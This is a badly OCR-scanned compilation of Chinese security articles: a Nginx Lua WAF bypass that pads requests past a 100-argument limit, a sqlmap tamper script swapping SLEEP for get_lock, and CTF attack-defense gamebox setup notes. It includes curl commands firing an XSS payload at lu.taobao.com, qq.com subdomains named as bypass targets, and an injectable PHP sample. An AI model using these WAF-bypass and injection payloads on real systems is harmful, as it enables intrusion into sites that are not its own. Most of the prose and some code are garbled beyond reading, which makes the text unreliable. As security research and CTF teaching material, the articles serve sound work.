umpIJLluLnL ringModeScr

DataControlsinstEw

B SERMEESIRTH, AHSTHBRTS,

EIRETAF I root, JEESE. 5. BBRENAERES)Y. BRIt GIE
BIRRTHATIUGSRTRE, HMEREREHIT, HmTeEHERSA.

IHGIE :

LA USB a6, AILABEEN TEEINE U BRNEEREFRSAENRZFFIIT, M
ZENSERT, ALY TERIGERES, LA root SPRSEEIEFIZEN, GNE:
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CarSRC ﬁ?’:’.

CarSRC, SEFINESEZEN MM, EERE FRIPMRNE—REHT! 112
B S REERLERAERATIMIZN— M EHRRAR ST S . N T EEZ2ER
BEITRZANER, AETENI IES THEREER. ke ARSE JNHE, —
RS EReEE, HEE—FRE, BFReSF - LMETEIE,

CarSRC EM: &USHIF

RIS A s E R RS CarSRC 2S4S, —ERXmFES.
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Nginx Lua WAF BRB%3 5%

{£&: JoyChou@meili-inc
JRSCER:  [ZEREEXE] https://mp.weixin.qg.com/s/8D45Uh8h g28vIINoHnbSQ
1. GBI

SR(18F 4 B 3 H)@bredk FEEFRA T — trick,

Nginx Lua FREREEET, BUATREKET 100 1N2801E, BRAGHRZER .

FLA, FB7 Nginx Lua B9 WAF ERAERSHE Bypass.

18F 45 20H, 22ELEEBALTFTXMT, BXBXELHALFTT .
2. [F18

BRI

Note that a maximum of 100 request arguments are parsed by default (including
those with the same name) and that additional request arguments are silently
discarded to guard against potential denial of service attacks.

BABR FTREZAENT 100 MEKSH (BIEEEHEESFRNEKRSE)  H#E<85%
EREMERSELAR LEBEREE RS IS,

182 100, X¥E THENGAFERFRYE>,

- ngx.req.get uri_args  ¥KEX get RUIERSE]

- ngx.req.get_post args 3¥REX post FUiEKES#L

- ngx.req.get_headers 3XEX request 3k

- ngx.decode_args X387 URL f#F3

- ngx.resp.get_headers 3XEX response sk

£ lua-nginx-module JEREE , HATTLABZEIRRGIRE T AR Z1ERSEFILEL A
100

#ifndef NGX HTTP_LUA MAX ARGS
#define NGX_HTTP_LUA MAX ARGS 100
#endif

#ifndef NGX_HTTP_LUA_MAX_HEADERS
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#define NGX HTTP_LUA MAX HEADERS 100
#endif
RSEAIRET 7%, THEMOZEIAE, LEAl ngx.req.get_uri_args(200)#AE5KERET 200
MEXRSEL
3. st
location = /test {
content by lua block {
local args = ngx.req.get_uri_args()
for key, val in pairs(args) do
if type(val) == "table" then
ngx.say(key, ": ", table.concat(val, ", "))
else
ngx.say(key, ": ", val)
if val == 'joychou' then
ngx.say("l got u,joychou")
return
end

end
end

}

HiERSEHN 101 DB, WERBARIRE—MERESEHL.

curl -v
'http://test,joychou.org/test?al=1&a2=2&a3=3&a4=4&8a5=5&a6=6&a7=78a8=8&
a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a1
8=18&a19=19&a20=20&a21=21&a22=228&a23=238a24=248a25=258a26=26&a2
7=2784a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a3
6=36&a37=378&a38=38&a39=39&a40=408&a41=41&a42=428a43=438&a44=448&a4
5=458a46=468a47=478a48=48&8a49=49&a50=50&a51=51&a52=52&a53=53&a5
4=548a55=55&a56=56&8a57=57&a58=58&a59=59&a60=60&a61=618a62=628ab
3=638a64=648a65=658a66=668a67=678a68=688a69=69&a70=70&a71=718&a7
2=728a73=738&a74=74&a75=758a76=76&a77=77&a78=78&a79=79&a80=80&a8
1=818a82=82&a83=83&a84=848a85=85&a86=86&a87=87&a88=88&a89=89&a9
0=90&a91=91&4a92=928a93=93&a94=94&a95=958a96=96&a97=97&a98=98&a9
9=99&a100=100&a=joychou'

WO—NMERSE, HERSHENIEFA 100 MY, BERBEIRE—MERSEH.
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ar7. 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78:78
ad2: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
al4: 14
a27:. 27
al15:15
a85: 85
a36: 36
a26: 26
a41: 41
a9%4: 94
a37: 37
a50: 50
a63: 63
a48: 48
ar2:72
al2:12
a29: 29
a59: 59
a38: 38
ab2: 62
a: joychou
| got u, joychou

B8, ERIAFBSCE 100 NMEKRSE, FB 100 MEKRSHLGHIERSEIBESBER.
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BE—FRAMS, £EREIREY, EAMTENME, mefhl TREN
joychou £#f, HAVENEHHHASIZREINF, BEERFETIINFRsCRESEIRHINF,
ER=%E 101 NS4 value 2 joychou Y, AEEIRENEIZIE.

Bt AR SE48Y python BIA
# author: JoyChou

# mail: joychou@joychou.org
# date: 2018-04-03

a="
for i in range(200):

a = a + 'a{0}={1}&" format(i+1, i+1)
print a

4. 28

LR, FEWETFHENSERI MAX B, RARREBARYEERERSD. EEBITS
IZHIZHERIRE.

SNERAERENENERSERIIKE, BFIARLL ngx.req.get_uri_args(lenth) 5=, ~2H
LAT0E?

FHESAAI, HSLHABSREEIERSERI L. (BRURIRE lenth J3 0 B9, HiBE
SRENFTEIERSEL.

This argument can be set to zero to remove the limit and to process all request

arguments received.
local args = ngx.req.get_uri_args(0)

NIEFERIAENIREN 0 RIHLR, BILEERIERIRSIE.

Removing the max args cap is strongly discouraged.

HL, BEENTAIRE 0, MaBBErEERSIE, BRRIERRE nginx, Fig
SME get BiE post FISHIBE,

BIEEHRT— N Issue, {E&UR, ngx.req.get uri args(0)&IENNRSiw CPU FIRNTE
KR, &3k, FLd 200 N&#, FIA Nginx+php, 3REVES 200 NE&#8, 85X, i
B8 Nginx BUARSIHERSENEHITIRG, BRARTREFERRAE S #7ET Nginx Lua &
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B, ¥ Nginx Lua F)FE ngx.req.get_uri_args(O)3XEXFTESE, HEBTENER, —Bi5
KSHAEES, MEHEESH CPUINE, REEESEURARS.

2018 £ 04 £ 03 H, Bypass007 EESIR Y — M RXTFTXNBRAMESR ISSUE, &EE
32018 £ 04 B 21 H, HRIEXA™ ISSUE FE T —NNEE. 1%I08EAY commit ITRML :
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2
de3fb839e2aba4cbfd

DhREfEARY9: £ v0.10.13 [GRIMRAN(BHE v0.10.13), SPRHIAIEREMEERE, B
R[EfER truncated FHFER,

Since v0.10.13, when the limit is exceeded, it will return a second value which is
the string "truncated”.

However, the optional max args function argument can be used to override this
limit;

local args, err = ngx.reg.get_uri_args(10)
if err == "truncated" then

-- one can choose to ignore or reject the current request here
end

AL, REBRMEETELFET.

- F+£% lua-nginx-module hiA&Z v0.10.13 gL

- BIRFISEHRE, ETRERFIAZLD, HNTARE 100 MELEE T

4.1 OpenResty A lua-nginx-module t&EiR

JSA B OpenResty FHRISIRITER, EITHIBT N OpenResty HIMEFH
lua-nginx-module #&E1R,

LSBT
&k lua-nginx-module &Y R ARAS
wget https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13

fRIE
tar -zxvf v0.10.13

fib& < BUAY lua-nginx-module kixA
rm -rf openresty-1.9.15.1/bundle/ngx_lua-0.10.5
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S#Fr9 lua-nginx-module
mv lua-nginx-module-0.10.13 openresty-1.9.15.1/bundle/ngx lua-0.10.13

MR, 2#5% VeryNginx RREESE

.Jconfigure --prefix=/opt/verynginx/openresty --user=nginx --group=nginx
--with-http v2 module --with-http_sub_module --with-http_stub _status module
--with-luajit

make
5. g

ZEHBPPE, TE/UM WAF BAFREEERMN Nginx Lua, RETLURSHSENS
Rt T5dme.

5.1 [J2 WAF

It WAF ZfERpyEBEFERY WAF, Bl* taobao.com S Z(EFRRI WAF, FARHFIE
XIIMESEIIR WAF,

SEigsk—AN POST AY XSS Payload, =&,

curl -v -d 'a=<img src=x onerror=alert(/xss/)>" lu.taobao.com

BT Fuzz &I, HIEINSEEINEEI 478 [5, & XSS Payload, A~BE#HI1TI=E;, #H
RIuLEEIE &1,

curl -v -d
'al=1&a2=2&a3=3&a4=4&a5=58a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a1
2=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a2
1=2184a22=2284a23=238a24=248a25=258a26=26&a27=278&a28=28&a29=29&a3
0=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a3
9=39&a40=40&a41=418&a42=428a43=438a44=448a45=458a46=46&a47=478a4
8=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a5
7=578a58=58&a59=59&a60=60&8a61=618a62=62&a63=63&a64=648a65=658a6
6=668a67=678a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a7
5=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a8
4=848a85=858a86=868a87=878a88=888&a89=89&a90=90&a91=91&a92=92&a9
3=93&4a94=948&4a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a101=10
1&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108
&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115
&a116=116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122

&a123=1238&a124=1248a125=125&a126=126&a127=127&a128=128&a129=129
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&a130=130&a131=131&a132=132&a133=133&a134=134&a135=135&a136=136
&a137=137&a138=138&a139=139&a140=140&a141=141&a142=142&a143=143
&a144=1448a145=1458a146=146&a147=147&a148=148&a149=149&a150=150
&a151=151&a152=152&a153=153&a154=154&a155=155&a156=156&a157=157
&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164
&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171
&al172=172&a173=173Ra174=1748a175=175&a176=176&a177=177&a178=178
&a179=179&a180=180&a181=181&a182=182&a183=183&a184=184&a185=185
&a186=186&a187=187&a188=188&a189=189&a190=190&a191=191&a192=192
&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199
&a200=20084a201=201&a202=202&a203=203&a204=2048a205=205&a206=206
&a207=2078a208=208&a209=209&a210=210&a211=211&a212=212&a213=213
&a214=2148a215=215&a216=216&a217=217&a218=218&a219=219&a220=220
&a221=2218a222=2228a223=2238a224=2248a225=2258a226=2268a227=227
&a228=2288a229=229&a230=230&a231=2318&a232=232&a233=233&a234=234
&a235=23584a236=236&a237=237&8a238=238&a239=239&a240=2408&a241=241
&a242=2428a243=243Ra244=2448a245=2458a246=2468a247=2478a248=248
&a249=2498a250=250&a251=251&a252=252&a253=2538&a254=2548&a255=255
&a256=25684a257=2578a258=258Ra259=2598a260=260&a261=2618&a262=262
&a263=2638a264=2648a265=2658a266=2668a267=2678a268=268&8a269=269
&a270=270&a271=2718a272=2728a273=273&8a274=274&8a275=275&8a276=276
&a277=2778a278=278Ra279=2798a280=280&a281=2818&a282=282&a283=283
&a284=2848a285=2858a286=2868a287=2878a288=2888&a289=289&a290=290
&a291=29184a292=292&4a293=2938a294=2948a295=295&8a296=296&a297=297
&a298=29884a299=299&a300=300&a301=301&a302=302&a303=303&a304=304
&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311
&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318
&a319=319&a320=320&a321=321&a322=322&a323=323&a324=324&a325=325
&a326=326&a327=3278a328=328&a329=329&a330=330&a331=331&a332=332
&a333=333&a334=334&a335=335&a336=336&a337=337&a338=338&a339=339
&a340=340&a341=3418&a342=3428a343=343&a344=3448&8a345=345&a346=346
&a347=3478a348=348Ra349=349&a350=350&a351=351&a352=352&a353=353
&a354=3548a355=355&a356=356&a357=357&a358=358&a359=359&a360=360
&a361=361&a362=362&a363=363&a364=364&a365=365&a366=366&a367=367
&a368=368&4a369=369&a370=370&a371=371&a372=372&a373=373&a374=374
&a375=375&a376=376&a377=3778a378=378&a379=379&a380=380&a381=381
&a382=382&4a383=383&a384=384&a385=385&a386=386&a387=387&a388=388
&a389=389&4a390=390&a391=391&a392=392&a393=393&a394=394&a395=395
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&a396=396&4a397=397&a398=398&a399=399&a400=4008&a401=401&a402=402
&a403=403&a404=4048a405=405&a406=406&a407=407&a408=408&a409=409
&a410=410&a411=411&a412=4128a413=413&a414=414&a415=415&a416=416
&ad17=4178a418=4188a419=419&8a420=4208a421=4218a422=4228a423=423
&a424=4248a425=4258a426=4268a427=4278a428=4288&a429=4298a430=430
&a431=4318&a432=4328a433=4338a434=4348a435=4358a436=436&a437=437
&a438=4388a439=439&a440=4408a441=4418a442=4428a443=4438a444=444
&a445=4458a446=4468a447=4478a448=4488a449=4498a450=450&a451=451
&a452=4528a453=4538a454=4548a455=4558a456=456&a457=4578a458=458
&a459=4598a460=4608a461=4618a462=4628a463=4638a464=4648a465=465
&a466=4668a467=4678a468=4688a469=4698a470=470&8a471=4718a472=472
&ad73=4738a474=4748a475=4758a476=476&a477=4778&a=<img src=x
onerror=alert(/xss/)>" lu.taobao.com

5.2 f&ifl WAF
Itt WAF ZFSTHAERERRT WAF, BI*.qq.com F&AERRY WAF, FRIUIBRZRS
HMESERZ WAF,
HIERSEUGINE] 4000, AaBit Ti=8, FEMULEEIERE R, FEEUIKLATEZER
250,
web.qqg.com
ke.qg.com
auto.qqg.com
news.qg.com

sports.qg.com
time.qg.com

)<|Il

6 lu\-l:I

XNERRER, INEESEEREATIXNEE, (BERECHTAIREIE? HEER
ZElu ":% j(/|\°

7. Reference

- https://github.com/p0OprOck5/lua-resty-waf/issues/280
- https://github.com/openresty/lua-nginx-module#ngxreqget _uri_args
- https://github.com/openresty/openresty/issues/358
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https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2
de3fb839e2abadcbfd

MLSRC 748

LB EEE— BN TRABESF i SHReM, EMKEaERAREN MR
(MLSRC) FEEIRIL KRS FEBANRMHETBR SERE T mRk ISR eiRmRE, R

HANBAEETFaIESINEEFREMNEE, A EEEZERNERNESIAEH—0D

.

MLSRC ER: https://security.mogujie.com

SRIBRT A s X E RSB 243 MLSRC RS Z4ERS, —RBRMFES.,
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—HhEE SQL RS IENERE

1E&: do9gy@K=RHY
[F3kR: [IKEREL] https://zhuanlan.zhihu.com/p/35245598

A3 A
BsT)1 g’d

SQLIENRRBEREA, XTFTEITHHEH—ENRTEEFEENMRER, ITERR
T #ZE| DNS FMERVBERZTE oldjun WYIEE, BREIXMHISATIRG|, Nz &K T
mysql hxZAF0 window ERIERIBRH,

BEath

BANME—THA4R saL §iF.

£ SQLIEAR, EEFESIN "EHE" /9 SQLIEG, RFEFER "FY HEH
NEEZRE~ERE L, FRANFEE: "RiE=EA (error-based) " | "BKGEIA

(union-select) " . MTEEEZRBIZBHAFTHIERFEMRE true / false ZFFHT

(boolean) . BEIXTLY, (time-based) . DNS SMEHIEEIH (data exfiltration through DNS
channel) FRERTHEIR. Bla0: “select if(user()="root@localhost’,sleep(4),null) * 24
MSFHFR" root@localhost "B, RIEK 4 PRIREIER, SAFPAR" root@localhost

‘B, RIMZBPRE], BEATLAFARSFIAER, BRI ET LIS HN RS EERRRE
HIREFMBRPFRIIANS.

XF mysql BFEIZEE (time-based) ASiFEN , —ELLEARFIERINE =M%
benchmark, H+~/R#¥. FTLATEZHE LR WAF Rt 2EF SN ZXBERRY.

B2 sql FERENE T AREFBBA R SQL IEARTERMIBER, FriAREALL
AFEIMBIER 2 (FLAL, BETLUEITRhRIFIBTRIE, MRS £usrISEENE RzA E]
f£100ms LAA, FrLAFRIFREHIEREAZ] 200ms LA ERIATERERAYES].

SREMNERZIRI— mysql RELZE get_lock BREL, FekKE—T mysql SAEFRIERT
fEA

sleep.

GET_LOCK(str,timeout)
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Tries

to obtain a lock with a name given by the string str, using a timeout of
timeout seconds. A negative timeout value means infinite timeout. The lock is
exclusive. While held by one session, other sessions cannot obtain a lock of
the same name.

E— session FEJLASCHIE— N ZE/40: select get lock( ‘do9gy’ 1)
RIFEIT S — session BXRIHIT get lock EREL select get lock( ‘do9gy’ ,5)IttAS%
FeE S RYRER, ERUEREMUT sleep(5).

mysql> select get_lock('do9gy',1);

R e +
| get lock('do9gy',1) |
dmmmmmmm e +
J 1
dmmmmmmm e +

1 row in set (©.00 sec)

mysql> select get_lock('do9gy',5);

R e +
| get lock('do9gy"',5) |
dmmmmmmm e +
J o |
dmmmmmmm e +

1 row in set (5.0 sec)

TRERIRAITLA, BUFERT SQLIEARFIE, EEFAmSEERURFIN: TR
Hi<iERE, £ Apache+PHP #E3BRIINMEHEE(ER mysql_pconnect RECRIEREEURRE.
TEFEAEEE— 51
<?php
require 'conn.php’;
$id = $ GET['id"];
if(preg_match("/(sleep|benchmark|outfile|dumpfile|load file|join)/i", $ GET['id"]))
{
die("403 forbidden!");
}
$sql = "select * from article where id="".intval($id).""";
$res = mysql_query($sql);
if(1$res){
die("404 not found!");
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}

$row = mysql fetch_array($res, MYSQL ASSOC);

print_r($row);

mysql_query("update view set view_times=view times+1 where id = "".$id." '");
?>

1IZZ6F, FATRTLMEE SQL iEF ?id=1

and get lock( ‘do9gy’ ,1)

R BT get lock FEZT#E session 15K, FTASMITRERUEEEEH—ERAT
8] (EE7EA) |, ik Apache EEFFTH—NERE mysql BY session, LEESRERTLAFIA get lock
TR Y . XEBLEH—1ET sqlmap BY tamper:

sleeptogetlock.py
#!/usr/bin/env python

Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission

from lib.core.enums import PRIORITY

__priority_ = PRIORITY.HIGHEST

def dependencies():
pass

def tamper(payload, **kwargs):
Replaces instances like 'SLEEP(A)" with "get_lock('do9gy’,A)"

Requirement:
* MySQL

Tested against:
* MySQL 5.0 and 5.5

Notes:
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* Useful to bypass very weak and bespoke web application firewalls
that filter the SLEEP() and BENCHMARK() functions

>>> tamper('SLEEP(2)")
"get _lock('do9gy',2)"

if payload and payload.find("SLEEP") > -1:
while payload.find("SLEEP(") > -1:
index = payload.find("SLEEP(")
depth =1

num = payload[index+6]

newVal = "get lock('do9gy',%s)" % (num)
payload = payload[:index] + newVal + payload[index+8:]

return payload

ZBEIuLSIEES [ SHEREALUER get_lock(1,1) SiEHFEELRIT.

&, BERNERDEZRARESKIENEIEARNRFEHTH—RIRR, WEAEHA
—EAAEGERNNG, REENRFRIT—BARE R, 08 MHE0. WMBEARE
ZAREEEFIE,

KENE

BN EE RS T, £SXREAETATERENSHHIT— Web RZARX

B, SIEREERNE 2, XOREERNTEKY, #FhElr&SmE, AlgE
RS RIS R iR RIS,

W AWME) TEAFERIFEW "ATEEINSEA" TUENEES—, ERSEEFERIT.

NERIT. ZfEEE. PEFR. EFZ. Bilibili, LAFRINEEF,

KZ=EM: https://chaitin.cn/cn/
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FEMRED: https://blog.pwnhub.cn/

W AR ERKENRFI KSR ARS "4HE, —Exins>
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B RmEMAE TERRADE
e FlappyPig

[R3ERE: [Z££Z=] https://www.anquanke.com/post/id/105387

0x0 S{EEIE

BMMEEEERE SN CTF&E, BF "EREERIENMEURNFZASL, BAER
METEALELEEIKE" BPMEN. DEESTRE, WNRMNBIMIRNEESEEIHE, 5
HEZSMZmOET, EEFNIENBIR, ARBIEFHIARNMARRSG, HiE5HI%
FZ503, BONE—MIFHNES, BEERRIFESEHRESIER. BIXiENZE
FEL HEREITRESXTENMAERNRR, SESENESSHITHIE. BHEEeT T
SRS ERNSZEARTIRM, ARMSEMSHFLEIINBNNSHEHETREN, LT
CEIRACIN
RRF=EE NEAEMESN AD B+ B/ (in) 85, HIMEEEBNSEER, RERE
AR EENE— R E LR S ENNEE R, MHEIRPREERE, BEE5D
ERARERTES:

1. JEEXAAEEE;

. SN{afE AD #&z(RY gamebox;
LAY check A

SRV TR R,

. Hiftb,

Ox1 HFFEXDMELE

AR RN BRI F R REX EH TEPEERE,

Revolver

1ZR B EXIEE TEPHEBRFRENER, BB re+crypto+pwn, iz EM SIS
12h, ERTRSMHMEM check A, BEHTREZ A check R,

Bl E flag 0 HEERS (AES256) 0%, AIA%ERS (RSA) NHNZT AES BY key, &
WD EZIRS KISFE, Binary HEMEEIEHIATH, aes key BEHAERL, flag LABSHIFZ =%
TEREF.
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BAENERELT, £FFE 4MBES:

1.00B Write+Related Message Attack

REFNFELEXERRERIMRIS AL HRNE NG IR REZ M, RHLLESF
Bid pwn BIFERE KSR R. B 3-7 89 OOB Write {222 key, HoalfEEmifm
FHTINE, STLASKERIFIBERSE 1bit NEIEM e=3 AHEERXBIIFEEX, XEEXER
WIS, BI{#ERA 3-6,3-7,3-6 iEIEDH],

2.AES round key Recovery

AES256 FHREIELERT 256bit SRR ATIEHE, RISHRTHE. HSCREEBall, #
EEBRNRB=RFE, X2 N LFAAIRETHINES.

3.LLL Attack

ENRAKE— T (BEREFER OOB Read B2 F#iIn) , {2 Oops &I
TIXPMRESE A LT, BAHENRS T hex, 8= 512bit 2 0, 1£/5 256bit & 1,
&HZ 1 > bit BIAT5ERE Known High Bits Message Attack,

4. Factory N

P7 "KIRFRERN" LA R T 1024bit n 95T 7T IRGE.

A EAWETSE, TEERE—T check RUIREMBR, MARR, ERABP5|INEBZF
SfF15 check FEEEEM™E:

1,595 flag 2iEHER, I THRIE flag B9 open FEWEN, FHETE checker #HBEFAH
RUBHET, #H1TU0T check: 3REX flag BYZES (5 aes256 f0%) , 3KEX aes256 A9 key AY
B3 (#% rsa IN%) , EFRRASHRREE key, {0 key f##%; flag, 88 paramiko ssh &3 gamebox
Ff cat flag, IGUEFA flag @E1EE. BISLALLE, ATLURIE flag ERFHEMHIFEN.

2IREMEEMEASEKEN . EHBMANEIET, MBNKERENE—ERER
AL TR BAIIE, BRIFEER, LIEREEE (MIASBRNEdE) ExEmeE, 7
FAFATRfR®:, WZR flag 2&F0 ssh 3XEXAY flag 1HMEL,

351X aes FoftH, 1IN T ANELAIHIT check,

FRFLA patch 75 REEE patch RUFEERSHR, 1S4 55!

1{EMFERFIERL OOB Write 19 size, 48 ¥4 16 BIAJ,

FERIEAEERNELAIMNCMWE . N TIRFEE REEIRAVE T,
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3.{&24 padding, L& bit AR,

BEBD BMBIERMRIN, FROHE T TR IR  BERER MBS rsa1024 f#E, FiARY patch
L. NRERHMR 1024RSA (pq {#F openssh &RY, AESAIIREFE) 9B, B0F
X B RID BE Lt T,

MG A IREAF.

gamebox

HESEEEEIRE—1 web @, ATIRIERBRIMER , FFEIEN—MEERARIESR,
ERNRREEEZRLL 0day AE, R TAMNER, SFE—MEESUHE, =MERSUFSH
—TORRENEN, LEEAEEREBIZRLR 7, EPEE— R4 LERR. B2
HTHRANZEARE, SEUE checker fY9mE EHI T RANIERE, RES175 check RZ|
ELRAEHE, BiYERrIRE iR 7% B L EMIEE EAKESE N FXInERY
AH.

XXXXXXXX

XXXXXXX IXTERRRI AN S REILARBIT AR EIXBER, SEH ERIF tis R EERY,
ERATFHAEFNFRESH T AFRAFERE (RIAFKIBH) . . KEoRAZRES
load( ‘flag’ )AZEEIRSEIEAN a-f FF3LAY flag A9, XERAEAHNXAIEHERERA flag 15
472 0-9 FELRY, SWAAEHT, REHRE. MERAN ZEEE diff #3 charAt AUk
5], 54 garbage collection Aik load E) heap _£AY flag chunk # &8, &fE1EEEN flag,
Wizt B NMLERTEIRFERHIXER BRI, AEFRI— snprintf F9tEi@HRY, &
BT ECEH AN chunk 818 memstr IESFFE tls RIRIE , {E2H T charAt j#t#E canary
AUBHMESIBEETRL utf-8 4wi5, 2§ canary BEA badchar B EEIH 2 ERESE bad, EiFE—
ERETEAREIE SR, X7E 5 o — RN FTE— M RFRTT, TREEENE 7© (REfE,
RABSEMRT) .
0x2 4{aHHE AD &3z AY gamebox

LTENREEES, BONTHRMM gamebox KATESIE, PO ATRMH
gamebox MR EFIBAI R EIEAZEHREHCITE. A7 AKKRE— KRR
1E. FUFD. 1&4b. BRI AD ", E18E 7T @iErt, HaBghEERAIBAHTT
T, f5—LBCHERE, E=FHFIET gamebox, TEEHFWESIEFHFIR.
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1ERFF IR :
SEPIMMERT ubuntuserver16.04x64 #H1T%%E, ETITHIRHAY linux WIZIEN, FITIFR
G177 B IRIRRE;

2IRERAF:
Root HFTFSRAEHRITRELR, ctf BFP%RI%EE, problem AR BFEoiE. H root
FAF#0 ctf BFIRERHS, problem BRPARIREEM.

groupadd ctf

useradd -g ctf ctf

groupadd problem

useradd -g problem problem

FBE ctf FBF sudo —u 2l problem BIRR, FS{EIEFIIRBHITHER

mna atlas specliTtTication

# User privilege specification

ront All=(All -All) Al

ctf ALL=(problem) NOPASSWD: ALL

ST felreearerrereswrerpegee#oot privileges

+ =~ cat /etc/at.allow
root
+ =~ cat /etc/cron.allow

Z2Z= (www.anquanke.com)

4.chroot 5SEZEMNRE

chroot AABIATRESBHEXI— AR git, 1% git JoHRftes FEIEREIFIN docker,
https://github.com/Eadom/ctf xinetd,

BAHFREBR. BRBANT:
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- ctf pwd
/home/ctf
- ctf 1
total 32K
drwxr-xr-x
drwxr-xr-Xx
drwxr-xr-x
drwxr-xr-x
-rw-r--r--
drwxr-xr-x
drwxr-xr-x
drwxrwxr-x
> ctf |}

problem BRPEHRRB X, BB SHRFEEF problem BR—#¥, ZBRA%
ctf BFNER, XNMERBMWETEFTIE, A&,

flag BEfEESR chroot FRIRER L, FERIL ctf #1 problem B,

EIOMERY lib 70 bin N EER chroot WERT, HbanA/home/ctf & :

bin

dev
flag
lib
1ib64
problem

~J

7
3
2
P
1
1
2
P

© 00000000 WwWo o

Z&E (www.anquanke.com )

cp -R /lib* /home/ctf &&

cp -R /usr/lib* /home/ctf

mkdir /home/ctf/dev &&

mknod /home/ctf/dev/null c 1 3 &&
mknod /home/ctf/dev/zero c 1 5 &&
mknod /home/ctf/dev/random c 1 8 &&
mknod /home/ctf/dev/urandom c 1 9 &&
chmod 666 /home/ctf/dev/*

mkdir /home/ctf/bin &&

cp /bin/sh /home/ctf/bin &&

cp /bin/ls /home/ctf/bin &&

cp /bin/cat /home/ctf/bin

5.chroot 5 xinetd
RIEHEER xinetd Z5& chroot [FEIFER, F problem FIFAY uid 1 gid 3 1001,
FrLA:
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+ ctf cat /etc/xinetd.d/problem
service problem

{

disable
type
socket_type
protocol
user

wait

server
server_args
port

bind
per_source
rlimit_cpu

no

UNLISTED

stream

tcp

root

no
/usr/shin/chroot
--userspec=1001:1001 /home/ctf /problem/revolver
9999

0.0.0.0

5

10

womomwowonmounwnmwnmmn

6.BA FRAYES N T1F
B7RE sh 5, FTBRYEZ chroot [FEBRBE SRR, MEAUERRIGSRAE=A:

Z2E (www.anquanke.com )

{5A chroot+xinetd RYGTLAYERTLABRUtER D IVE. KBFEKE, (BEELZILR
iz, forkbomb {PARTLAGERS, FRLAFAIRS sh SHH1TT patch, EEIEERTERIEIAIN
BE.

- bin ./sh

# while

./sh: 1: while: not found

# for

./sh: 3: Syntax error: Bad for loop variable

# until
./sh: 3: until: not found

# I Z&2% (www.anguanke.com )

&b, BEAR gamebox FI{ETR, ME—EHATHENE, XERNIZRA
PARIREEEEAZIEEFON, REEINNTFHAILILpwnEEEZE. FIFERAILE
#, MEPFEEEREEERME AR revolver, funnyjobZEE 2L HSENEANIKER
AER, FIPwWNXiER, FDi{SRevolveriF @B MET—E, 1B, 8 7T7. 81 PatchFiEth

47 & T 3L 4" alamal s a BB T IRaESsS—TaSwrT14A | =+T177 T B=kifz v —FiL

TR R ZR RIS !
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0x3 —fERYME check Hl)

lowbits leak check

i1 Flappypig SXPARISIRER, IRITHSEI 7 —FnAngE o Bcte B (lowbits leak
check), BT LA ME B FRERE S BC S A E1EIRIEFI FAFAVB AL ED A, FNAR T ARE
A 2= pwn EEIFRBRY checker A1, FEBARNB—TXF checker ##1,

1288 linux BELDECHS], EBNAREERARIENSTSTH EEETE, BIAERTERY
K2 4K(0x1000=4096), AGIHER D ELSEZFR malloc XX 4k K/NHITETR, TR
BT 4k BRRZEHE. il FAPZET, SBHERA/NAEE 4k BER T, mallocik
[BIRIHEBIEAE(R 12bit(Oxf)E34LAY, MRIEAEIFEENAZE(FEE ASLR ).

ABAIXFLE TERAE CTF L TFEP—FEXIHEIRIEN Checker RUBEE, BAIERERKE
FRFSEESIR malloc 5, #BHEMENEAYE 12bit ft.

SRIEIEEIZIHERFE(UAF, Double Free, off by Null), BE Checker BIAR, @idA
WTERIE. BERARA/NRIHER, ATLieEHEFSRmRENIES, 258 nop I free B
& K malloc(size) FHIATRERE S BCIZIERTERE,

2B

sBMIR-secular-checker BIZARERS 7~ & :

cur=build(io,0x90,'an")
#print 'low_address->0x%03x'%(cur)
if cur!=0x070:
raise Exception("Heap _check error")
cur=build(io,0xa0,'bn',777)
print 'low_address->0x%03x'%(cur)
if cur!=0x130:
raise Exception("Heap _check error")
cur=build(io,0xf0,'cn")
print 'low_address->0x%03x'%(cur)
if cur!=0x200:
raise Exception("Heap _check error")
cur=build(io,0x100,'dn",777)
print 'low_address->0x%03x'%(cur)
if cur'=0x320:
raise Exception("Heap check error")
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cur=build(io,0x30,'dn")
print 'low_address->0x%03x'%(cur)
if cur!=0x450:
raise Exception("Heap check error")
delete(io,2)
delete(io,3)
cur=build(io,0xa0,'dn',777)
print 'low_address->0x%03x'%(cur)
if cur!=0x200:
raise Exception("Heap check error")
cur=build(io,0xf0,'dn",999)
print 'low_address->0x%03x'%(cur)
if cur!=0x490:
raise Exception("Heap check error")
delete(io, 1)
cur=build(io,0x90,'dn’',999)
print 'low_address->0x%03x'%(cur)
if cur!=0x070:
raise Exception("Heap check error")
magic(io,777)
cur=build(io,0x90,'an")
print 'low_address->0x%03x'%(cur)
if cur!=0x590:
raise Exception("Heap check error")

A LB EIRIATEE— M 2B 7 0xf0 A/NHItELR, SASEEFRERbI RSN 1ZE
0x200,ATSEEBREMZ EERERIF T 0xf0 KNI, FTLATERER FROZESEH S EE
0x200 XM= RRYHER b, WNSREFEEINIFETR, nop T free I (E, BBADECAZI 0x200
£, EEILAFIRE check down, RIRZTE, A TIXF checker l#l, —XREHTITE
